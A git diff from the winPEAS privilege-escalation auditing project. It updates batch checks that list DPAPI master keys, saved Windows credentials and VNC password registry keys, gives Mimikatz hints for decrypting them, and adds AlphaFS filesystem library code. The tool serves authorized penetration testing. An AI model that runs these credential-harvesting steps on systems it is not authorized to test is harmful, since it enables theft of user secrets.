ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
CALL :T_Progress 2 CALL :T_Progress 2
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
ECHO. ECHO.
ECHO.Looking inside %appdata%\Microsoft\Credentials\ ECHO.Looking inside %appdata%\Microsoft\Credentials\
ECHO. ECHO.
@@ -565,7 +573,7 @@ CALL :T_Progress 2
:AppCMD :AppCMD
CALL :ColorLine " %E%33m[+]%E%97m AppCmd" CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists. IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -573,7 +581,7 @@ CALL :T_Progress 2
:RegFilesCredentials :RegFilesCredentials
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials" CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
ECHO. [i] Searching specific files that may contains credentials. ECHO. [i] Searching specific files that may contains credentials.
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
CALL :T_Progress 2 CALL :T_Progress 2

View File

@@ -2,9 +2,9 @@
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png)
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)** **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)** Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
[![youtube](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/screen.png)](https://youtu.be/66gOwXMnxRI) [![youtube](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/screen.png)](https://youtu.be/66gOwXMnxRI)
@@ -53,6 +53,7 @@ $wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions someti
## Parameters Examples ## Parameters Examples
```bash ```bash
winpeas.exe -h # Get Help
winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs) winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
winpeas.exe notcolor #Do not color the output winpeas.exe notcolor #Do not color the output
@@ -64,30 +65,6 @@ winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpea
winpeas.exe -lolbas #Execute also additional LOLBAS search check winpeas.exe -lolbas #Execute also additional LOLBAS search check
``` ```
## Help
```
quiet Do not print banner
notcolor Don't use ansi colors (all white)
systeminfo Search system information
userinfo Search user information
processinfo Search processes information
servicesinfo Search services information
applicationsinfo Search installed applications information
networkinfo Search network information
windowscreds Search windows credentials
browserinfo Search browser information
filesinfo Search files that can contains credentials
eventsinfo Display interesting events information
wait Wait for user input between checks
debug Display debugging information - memory usage, method execution time
log=[logfile] Log all output to file defined as logfile, or to "out.txt" if not specified
Additional checks (slower):
-lolbas Run additional LOLBAS check
-linpeas=[url] Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL
(default: https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh)
```
## Basic information ## Basic information
The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments. The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments.
@@ -276,13 +253,9 @@ If you find any issue, please report it using **[github issues](https://github.c
**WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges. **WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges.
## Please, if this tool has been useful for you consider to donate
[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.patreon.com/peass)
## Advisory ## Advisory
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
By Polop<sup>(TM)</sup>, makikvues (makikvues2[at]gmail[dot].com) By Polop

View File

@@ -1,5 +1,4 @@
using System.Reflection; using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following // General Information about an assembly is controlled through the following

View File

@@ -11,8 +11,8 @@ namespace winPEAS.Tests
{ {
try try
{ {
string[] args = new string[] { string[] args = new string[] {
"systeminfo", "servicesinfo", "processinfo", "applicationsinfo", "browserinfo", "debug" "systeminfo", "userinfo", "servicesinfo", "browserinfo", "eventsinfo", "debug"
}; };
Program.Main(args); Program.Main(args);
} }

View File

@@ -0,0 +1,56 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
namespace Alphaleonis.Win32.Filesystem
{
internal static partial class NativeMethods
{
/// <summary>Controls whether the system will handle the specified types of serious errors or whether the process will handle them.</summary>
/// <remarks>Minimum supported client: Windows 2000 Professional</remarks>
/// <remarks>Minimum supported server: Windows 2000 Server</remarks>
public sealed class ChangeErrorMode : IDisposable
{
private readonly ErrorMode _oldMode;
/// <summary>ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups.</summary>
/// <param name="mode">One of the <see cref="ErrorMode"/> values.</param>
public ChangeErrorMode(ErrorMode mode)
{
if (IsAtLeastWindows7)
SetThreadErrorMode(mode, out _oldMode);
else
_oldMode = SetErrorMode(mode);
}
void IDisposable.Dispose()
{
ErrorMode oldMode;
if (IsAtLeastWindows7)
SetThreadErrorMode(_oldMode, out oldMode);
else
SetErrorMode(_oldMode);
}
}
}
}

View File

@@ -0,0 +1,522 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.IO;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.AccessControl;
using System.Text;
namespace Alphaleonis.Win32.Filesystem
{
/// <summary>Provides static methods to retrieve device resource information from a local or remote host.</summary>
public static class Device
{
#region Enumerate Devices
/// <summary>[AlphaFS] Enumerates all available devices on the local host.</summary>
/// <returns><see cref="IEnumerable{DeviceInfo}"/> instances of type <see cref="DeviceGuid"/> from the local host.</returns>
/// <param name="deviceGuid">One of the <see cref="DeviceGuid"/> devices.</param>
//[SecurityCritical]
//public static IEnumerable<DeviceInfo> EnumerateDevices(DeviceGuid deviceGuid)
//{
// return EnumerateDevicesCore(null, deviceGuid, true);
//}
///// <summary>[AlphaFS] Enumerates all available devices of type <see cref="DeviceGuid"/> on the local or remote host.</summary>
///// <returns><see cref="IEnumerable{DeviceInfo}"/> instances of type <see cref="DeviceGuid"/> for the specified <paramref name="hostName"/>.</returns>
///// <param name="hostName">The name of the local or remote host on which the device resides. <c>null</c> refers to the local host.</param>
///// <param name="deviceGuid">One of the <see cref="DeviceGuid"/> devices.</param>
//[SecurityCritical]
//public static IEnumerable<DeviceInfo> EnumerateDevices(string hostName, DeviceGuid deviceGuid)
//{
// return EnumerateDevicesCore(hostName, deviceGuid, true);
//}
/// <summary>[AlphaFS] Enumerates all available devices on the local or remote host.</summary>
//[SecurityCritical]
//internal static IEnumerable<DeviceInfo> EnumerateDevicesCore(string hostName, DeviceGuid deviceGuid, bool getAllProperties)
//{
// if (Utils.IsNullOrWhiteSpace(hostName))
// hostName = Environment.MachineName;
// // CM_Connect_Machine()
// // MSDN Note: Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed.
// // You cannot access remote machines when running on these versions of Windows.
// // http://msdn.microsoft.com/en-us/library/windows/hardware/ff537948%28v=vs.85%29.aspx
// SafeCmConnectMachineHandle safeMachineHandle;
// var lastError = NativeMethods.CM_Connect_Machine(Host.GetUncName(hostName), out safeMachineHandle);
// NativeMethods.IsValidHandle(safeMachineHandle, lastError);
// var classGuid = new Guid(Utils.GetEnumDescription(deviceGuid));
// // Start at the "Root" of the device tree of the specified machine.
// using (safeMachineHandle)
// using (var safeHandle = NativeMethods.SetupDiGetClassDevsEx(ref classGuid, IntPtr.Zero, IntPtr.Zero, NativeMethods.SetupDiGetClassDevsExFlags.Present | NativeMethods.SetupDiGetClassDevsExFlags.DeviceInterface, IntPtr.Zero, hostName, IntPtr.Zero))
// {
// NativeMethods.IsValidHandle(safeHandle, Marshal.GetLastWin32Error());
// uint memberInterfaceIndex = 0;
// var interfaceStructSize = (uint)Marshal.SizeOf(typeof(NativeMethods.SP_DEVICE_INTERFACE_DATA));
// var dataStructSize = (uint)Marshal.SizeOf(typeof(NativeMethods.SP_DEVINFO_DATA));
// // Start enumerating device interfaces.
// while (true)
// {
// var interfaceData = new NativeMethods.SP_DEVICE_INTERFACE_DATA { cbSize = interfaceStructSize };
// var success = NativeMethods.SetupDiEnumDeviceInterfaces(safeHandle, IntPtr.Zero, ref classGuid, memberInterfaceIndex++, ref interfaceData);
// lastError = Marshal.GetLastWin32Error();
// if (!success)
// {
// if (lastError != Win32Errors.NO_ERROR && lastError != Win32Errors.ERROR_NO_MORE_ITEMS)
// NativeError.ThrowException(lastError, hostName);
// break;
// }
// // Create DeviceInfo instance.
// var diData = new NativeMethods.SP_DEVINFO_DATA {cbSize = dataStructSize};
// var deviceInfo = new DeviceInfo(hostName) {DevicePath = GetDeviceInterfaceDetail(safeHandle, ref interfaceData, ref diData).DevicePath};
// if (getAllProperties)
// {
// deviceInfo.InstanceId = GetDeviceInstanceId(safeMachineHandle, hostName, diData);
// SetDeviceProperties(safeHandle, deviceInfo, diData);
// }
// else
// SetMinimalDeviceProperties(safeHandle, deviceInfo, diData);
// yield return deviceInfo;
// }
// }
//}
#region Private Helpers
[SecurityCritical]
private static string GetDeviceInstanceId(SafeCmConnectMachineHandle safeMachineHandle, string hostName, NativeMethods.SP_DEVINFO_DATA diData)
{
uint ptrPrevious;
var lastError = NativeMethods.CM_Get_Parent_Ex(out ptrPrevious, diData.DevInst, 0, safeMachineHandle);
if (lastError != Win32Errors.CR_SUCCESS)
NativeError.ThrowException(lastError, hostName);
using (var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.DefaultFileBufferSize / 8)) // 512
{
lastError = NativeMethods.CM_Get_Device_ID_Ex(diData.DevInst, safeBuffer, (uint) safeBuffer.Capacity, 0, safeMachineHandle);
if (lastError != Win32Errors.CR_SUCCESS)
NativeError.ThrowException(lastError, hostName);
// Device InstanceID, such as: "USB\VID_8087&PID_0A2B\5&2EDA7E1E&0&7", "SCSI\DISK&VEN_SANDISK&PROD_X400\4&288ED25&0&000200", ...
return safeBuffer.PtrToStringUni();
}
}
/// <summary>Builds a Device Interface Detail Data structure.</summary>
/// <returns>An initialized NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA instance.</returns>
[SecurityCritical]
private static NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA GetDeviceInterfaceDetail(SafeHandle safeHandle, ref NativeMethods.SP_DEVICE_INTERFACE_DATA interfaceData, ref NativeMethods.SP_DEVINFO_DATA infoData)
{
var didd = new NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA {cbSize = (uint) (IntPtr.Size == 4 ? 6 : 8)};
var success = NativeMethods.SetupDiGetDeviceInterfaceDetail(safeHandle, ref interfaceData, ref didd, (uint) Marshal.SizeOf(didd), IntPtr.Zero, ref infoData);
var lastError = Marshal.GetLastWin32Error();
if (!success)
NativeError.ThrowException(lastError);
return didd;
}
[SecurityCritical]
private static string GetDeviceRegistryProperty(SafeHandle safeHandle, NativeMethods.SP_DEVINFO_DATA infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum property)
{
var bufferSize = NativeMethods.DefaultFileBufferSize / 8; // 512
while (true)
using (var safeBuffer = new SafeGlobalMemoryBufferHandle(bufferSize))
{
var success = NativeMethods.SetupDiGetDeviceRegistryProperty(safeHandle, ref infoData, property, IntPtr.Zero, safeBuffer, (uint) safeBuffer.Capacity, IntPtr.Zero);
var lastError = Marshal.GetLastWin32Error();
if (success)
{
var value = safeBuffer.PtrToStringUni();
return !Utils.IsNullOrWhiteSpace(value) ? value.Trim() : null;
}
// MSDN: SetupDiGetDeviceRegistryProperty returns ERROR_INVALID_DATA error code if
// the requested property does not exist for a device or if the property data is not valid.
if (lastError == Win32Errors.ERROR_INVALID_DATA)
return null;
bufferSize = GetDoubledBufferSizeOrThrowException(lastError, safeBuffer, bufferSize, property.ToString());
}
}
[SecurityCritical]
private static void SetDeviceProperties(SafeHandle safeHandle, DeviceInfo deviceInfo, NativeMethods.SP_DEVINFO_DATA infoData)
{
SetMinimalDeviceProperties(safeHandle, deviceInfo, infoData);
deviceInfo.CompatibleIds = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.CompatibleIds);
deviceInfo.Driver = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Driver);
deviceInfo.EnumeratorName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.EnumeratorName);
deviceInfo.HardwareId = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.HardwareId);
deviceInfo.LocationInformation = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.LocationInformation);
deviceInfo.LocationPaths = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.LocationPaths);
deviceInfo.Manufacturer = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Manufacturer);
deviceInfo.Service = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Service);
}
[SecurityCritical]
private static void SetMinimalDeviceProperties(SafeHandle safeHandle, DeviceInfo deviceInfo, NativeMethods.SP_DEVINFO_DATA infoData)
{
deviceInfo.BaseContainerId = new Guid(GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.BaseContainerId));
deviceInfo.ClassGuid = new Guid(GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.ClassGuid));
deviceInfo.DeviceClass = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Class);
deviceInfo.DeviceDescription = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.DeviceDescription);
deviceInfo.FriendlyName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.FriendlyName);
deviceInfo.PhysicalDeviceObjectName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.PhysicalDeviceObjectName);
}
[SecurityCritical]
internal static int GetDoubledBufferSizeOrThrowException(int lastError, SafeHandle safeBuffer, int bufferSize, string pathForException)
{
if (null != safeBuffer && !safeBuffer.IsClosed)
safeBuffer.Close();
switch ((uint) lastError)
{
case Win32Errors.ERROR_MORE_DATA:
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
bufferSize *= 2;
break;
default:
NativeMethods.IsValidHandle(safeBuffer, lastError, string.Format(CultureInfo.InvariantCulture, "Buffer size: {0}. Path: {1}", bufferSize.ToString(CultureInfo.InvariantCulture), pathForException));
break;
}
return bufferSize;
}
/// <summary>Repeatedly invokes InvokeIoControl with the specified input until enough memory has been allocated.</summary>
[SecurityCritical]
private static void InvokeIoControlUnknownSize<T>(SafeFileHandle handle, uint controlCode, T input, uint increment = 128)
{
var inputSize = (uint) Marshal.SizeOf(input);
var outputLength = increment;
do
{
var output = new byte[outputLength];
uint bytesReturned;
var success = NativeMethods.DeviceIoControlUnknownSize(handle, controlCode, input, inputSize, output, outputLength, out bytesReturned, IntPtr.Zero);
var lastError = Marshal.GetLastWin32Error();
if (!success)
{
switch ((uint) lastError)
{
case Win32Errors.ERROR_MORE_DATA:
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
outputLength += increment;
break;
default:
if (lastError != Win32Errors.ERROR_SUCCESS)
NativeError.ThrowException(lastError);
break;
}
}
else
break;
} while (true);
}
#endregion // Private Helpers
#endregion // Enumerate Devices
#region Compression
/// <summary>[AlphaFS] Sets the NTFS compression state of a file or directory on a volume whose file system supports per-file and per-directory compression.</summary>
/// <param name="transaction">The transaction.</param>
/// <param name="isFolder">Specifies that <paramref name="path"/> is a file or directory.</param>
/// <param name="path">A path that describes a folder or file to compress or decompress.</param>
/// <param name="compress"><c>true</c> = compress, <c>false</c> = decompress</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static void ToggleCompressionCore(KernelTransaction transaction, bool isFolder, string path, bool compress, PathFormat pathFormat)
{
using (var handle = File.CreateFileCore(transaction, isFolder, path, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.Modify, FileShare.None, true, false, pathFormat))
InvokeIoControlUnknownSize(handle, NativeMethods.FSCTL_SET_COMPRESSION, compress ? 1 : 0);
}
#endregion // Compression
#region Link
/// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J").</summary>
internal static void CreateDirectoryJunction(SafeFileHandle safeHandle, string directoryPath)
{
var targetDirBytes = Encoding.Unicode.GetBytes(Path.NonInterpretedPathPrefix + Path.GetRegularPathCore(directoryPath, GetFullPathOptions.AddTrailingDirectorySeparator, false));
var header = new NativeMethods.ReparseDataBufferHeader
{
ReparseTag = ReparsePointTag.MountPoint,
ReparseDataLength = (ushort) (targetDirBytes.Length + 12)
};
var mountPoint = new NativeMethods.MountPointReparseBuffer
{
SubstituteNameOffset = 0,
SubstituteNameLength = (ushort) targetDirBytes.Length,
PrintNameOffset = (ushort) (targetDirBytes.Length + UnicodeEncoding.CharSize),
PrintNameLength = 0
};
var reparseDataBuffer = new NativeMethods.REPARSE_DATA_BUFFER
{
ReparseTag = header.ReparseTag,
ReparseDataLength = header.ReparseDataLength,
SubstituteNameOffset = mountPoint.SubstituteNameOffset,
SubstituteNameLength = mountPoint.SubstituteNameLength,
PrintNameOffset = mountPoint.PrintNameOffset,
PrintNameLength = mountPoint.PrintNameLength,
PathBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - 16] // 16368
};
targetDirBytes.CopyTo(reparseDataBuffer.PathBuffer, 0);
using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(reparseDataBuffer)))
{
safeBuffer.StructureToPtr(reparseDataBuffer, false);
uint bytesReturned;
var succes = NativeMethods.DeviceIoControl2(safeHandle, NativeMethods.FSCTL_SET_REPARSE_POINT, safeBuffer, (uint) (targetDirBytes.Length + 20), IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);
var lastError = Marshal.GetLastWin32Error();
if (!succes)
NativeError.ThrowException(lastError, directoryPath);
}
}
/// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>
internal static void DeleteDirectoryJunction(SafeFileHandle safeHandle)
{
var reparseDataBuffer = new NativeMethods.REPARSE_DATA_BUFFER
{
ReparseTag = ReparsePointTag.MountPoint,
ReparseDataLength = 0,
PathBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - 16] // 16368
};
using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(reparseDataBuffer)))
{
safeBuffer.StructureToPtr(reparseDataBuffer, false);
uint bytesReturned;
var success = NativeMethods.DeviceIoControl2(safeHandle, NativeMethods.FSCTL_DELETE_REPARSE_POINT, safeBuffer, NativeMethods.REPARSE_DATA_BUFFER_HEADER_SIZE, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);
var lastError = Marshal.GetLastWin32Error();
if (!success)
NativeError.ThrowException(lastError);
}
}
/// <summary>[AlphaFS] Get information about the target of a mount point or symbolic link on an NTFS file system.</summary>
/// <exception cref="NotAReparsePointException"/>
/// <exception cref="UnrecognizedReparsePointException"/>
[SecurityCritical]
internal static LinkTargetInfo GetLinkTargetInfo(SafeFileHandle safeHandle, string reparsePath)
{
using (var safeBuffer = GetLinkTargetData(safeHandle, reparsePath))
{
var header = safeBuffer.PtrToStructure<NativeMethods.ReparseDataBufferHeader>(0);
var marshalReparseBuffer = (int) Marshal.OffsetOf(typeof(NativeMethods.ReparseDataBufferHeader), "data");
var dataOffset = (int) (marshalReparseBuffer + (header.ReparseTag == ReparsePointTag.MountPoint
? Marshal.OffsetOf(typeof(NativeMethods.MountPointReparseBuffer), "data")
: Marshal.OffsetOf(typeof(NativeMethods.SymbolicLinkReparseBuffer), "data")).ToInt64());
var dataBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - dataOffset];
switch (header.ReparseTag)
{
// MountPoint can be a junction or mounted drive (mounted drive starts with "\??\Volume").
case ReparsePointTag.MountPoint:
var mountPoint = safeBuffer.PtrToStructure<NativeMethods.MountPointReparseBuffer>(marshalReparseBuffer);
safeBuffer.CopyTo(dataOffset, dataBuffer);
return new LinkTargetInfo(
Encoding.Unicode.GetString(dataBuffer, mountPoint.SubstituteNameOffset, mountPoint.SubstituteNameLength),
Encoding.Unicode.GetString(dataBuffer, mountPoint.PrintNameOffset, mountPoint.PrintNameLength));
case ReparsePointTag.SymLink:
var symLink = safeBuffer.PtrToStructure<NativeMethods.SymbolicLinkReparseBuffer>(marshalReparseBuffer);
safeBuffer.CopyTo(dataOffset, dataBuffer);
return new SymbolicLinkTargetInfo(
Encoding.Unicode.GetString(dataBuffer, symLink.SubstituteNameOffset, symLink.SubstituteNameLength),
Encoding.Unicode.GetString(dataBuffer, symLink.PrintNameOffset, symLink.PrintNameLength), symLink.Flags);
default:
throw new UnrecognizedReparsePointException(reparsePath);
}
}
}
/// <summary>[AlphaFS] Get information about the target of a mount point or symbolic link on an NTFS file system.</summary>
/// <exception cref="NotAReparsePointException"/>
/// <exception cref="UnrecognizedReparsePointException"/>
[SuppressMessage("Microsoft.Usage", "CA2202:Do not dispose objects multiple times")]
[SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope", Justification = "Disposing is controlled.")]
[SecurityCritical]
private static SafeGlobalMemoryBufferHandle GetLinkTargetData(SafeFileHandle safeHandle, string reparsePath)
{
var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE);
while (true)
{
uint bytesReturned;
var success = NativeMethods.DeviceIoControl(safeHandle, NativeMethods.FSCTL_GET_REPARSE_POINT, IntPtr.Zero, 0, safeBuffer, (uint) safeBuffer.Capacity, out bytesReturned, IntPtr.Zero);
var lastError = Marshal.GetLastWin32Error();
if (!success)
{
switch ((uint) lastError)
{
case Win32Errors.ERROR_MORE_DATA:
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
// Should not happen since we already use the maximum size.
if (safeBuffer.Capacity < bytesReturned)
safeBuffer.Close();
break;
default:
if (lastError != Win32Errors.ERROR_SUCCESS)
NativeError.ThrowException(lastError, reparsePath);
break;
}
}
else
break;
}
return safeBuffer;
}
#endregion // Link
}
}

View File

@@ -0,0 +1,141 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.Security;
using System.Security.Permissions;
namespace Alphaleonis.Win32.Filesystem
{
/// <summary>Provides access to information of a device, on a local or remote host.</summary>
[SecurityPermission(SecurityAction.InheritanceDemand, UnmanagedCode = true)]
[Serializable]
[SecurityCritical]
public sealed class DeviceInfo
{
#region Constructors
/// <summary>Initializes a DeviceInfo class.</summary>
//[SecurityCritical]
//public DeviceInfo()
//{
// HostName = Host.GetUncName();
//}
/// <summary>Initializes a DeviceInfo class.</summary>
